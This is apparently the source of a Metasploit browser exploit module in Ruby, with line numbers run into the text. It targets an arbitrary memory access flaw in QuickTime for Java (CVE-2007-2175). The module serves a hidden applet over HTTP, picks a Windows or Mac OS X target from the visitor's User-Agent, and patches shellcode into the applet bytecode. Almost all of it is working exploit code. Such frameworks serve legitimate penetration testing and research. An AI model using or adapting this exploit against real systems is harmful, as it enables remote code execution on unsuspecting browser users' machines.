Path: blob/master/modules/exploits/multi/browser/qtjava_pointer.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple QTJava toQTPointer() Arbitrary Memory Access',18'Description' => %q{19This module exploits an arbitrary memory access vulnerability in the20Quicktime for Java API provided with Quicktime 7.21},22'License' => MSF_LICENSE,23'Author' => [24'hdm', # Original exploit for Mac OS X PPC / Win3225'kf', # Added support for Mac OS X X8626'ddz' # Discovered bug, provided tips27],28'References' => [29['CVE', '2007-2175'],30['OSVDB', '34178'],31['BID', '23608'],32['ZDI', '07-023'],33],34'Payload' => {35'Space' => 1024,36'BadChars' => ''37},38'Platform' => %w{win osx},39'Targets' => [40#41# Problem with generic payloads + regenerate_payload still :(42#43# [ 'Quicktime 7 Automatic',44# {45# 'Platform' => ['win', 'osx'],46# 'Arch' => [ARCH_X86, ARCH_PPC]47# }48# ],49[50'Quicktime 7 on Windows x86',51{52'Platform' => 'win',53'Arch' => ARCH_X8654}55],56[57'Quicktime 7 on Mac OS X PPC',58{59'Platform' => 'osx',60'Arch' => ARCH_PPC,61}62],63[64'Quicktime 7 on Mac OS X x86',65{66'Platform' => 'osx',67'Arch' => ARCH_X86,68}69],70],71# 'DefaultTarget' => 0,72'DisclosureDate' => '2007-04-23',73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)80end8182def exploit83# load the class data84path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class")85fd = File.open(path, "rb")86@class_data = fd.read(fd.stat.size)87fd.close8889super90end9192def on_request_uri(cli, req)93# Create a cached mapping between IP and detected target94@targetcache ||= {}95@targetcache[cli.peerhost] ||= {}96@targetcache[cli.peerhost][:update] = Time.now.to_i9798if (target.name =~ /Automatic/)99case req.headers['User-Agent']100when /Windows/i101print_status("Choosing a Windows target")102@targetcache[cli.peerhost][:target] = self.targets[1]103when /PPC Mac OS X/i104print_status("Choosing a Mac OS X PPC target")105@targetcache[cli.peerhost][:target] = self.targets[2]106when /Intel Mac OS X/i107print_status("Choosing a Mac OS X x86 target")108@targetcache[cli.peerhost][:target] = self.targets[3]109end110end111112# Clean the cache113rmq = []114@targetcache.each_key do |addr|115if (Time.now.to_i > @targetcache[addr][:update] + 60)116rmq.push addr117end118end119120rmq.each { |addr| @targetcache.delete(addr) }121122# Request processing123124if (not req.uri.match(/\.class$/i))125126# Redirect to the base directory so the applet code loads...127if (not req.uri.match(/\/$/))128send_redirect(cli, get_resource() + '/', '')129return130end131132# Display the applet loading HTML133print_status("Sending HTML")134send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })135return136end137138# Send the actual applet over139print_status("Sending applet")140send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })141142# Handle the payload143handler(cli)144end145146def generate_html()147return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"148end149150def generate_applet(cli, req)151this_target = nil152if (target.name =~ /Automatic/)153if (@targetcache[cli.peerhost][:target])154this_target = @targetcache[cli.peerhost][:target]155else156return ''157end158else159this_target = target160end161162# make a copy..163data = @class_data.dup164165# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86166idx_targ = data.index("\x03\x10\xcc\x54")167168# 1024 bytes for shellcode169idx_code = data.index("\x03\x10\xf0\x54")170171# Handle Mac OS X PPC172if (this_target.arch.include?(ARCH_PPC))173tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)174data = patch_bytecode(idx_code, data, tp.encoded)175data = patch_bytecode(idx_targ, data, "\x01")176end177178# Handle Mac OS X x86 / Windows x86179if (this_target.arch.include?(ARCH_X86))180181if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))182tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)183data = patch_bytecode(idx_code, data, tp.encoded)184data = patch_bytecode(idx_targ, data, "\x03")185end186187if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))188tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)189data = patch_bytecode(idx_code, data, tp.encoded)190data = patch_bytecode(idx_targ, data, "\x02")191end192end193194return data195end196197def patch_bytecode(off, data, buff)198cnt = 0199off -= 1200while (cnt < buff.length)201cnt += 1202while (!(data[off - 1] == 0x10 && data[off + 1] == 0x54))203off += 1204end205data[off] = buff[cnt - 1]206off += 1207end208209return data210end211212end213214215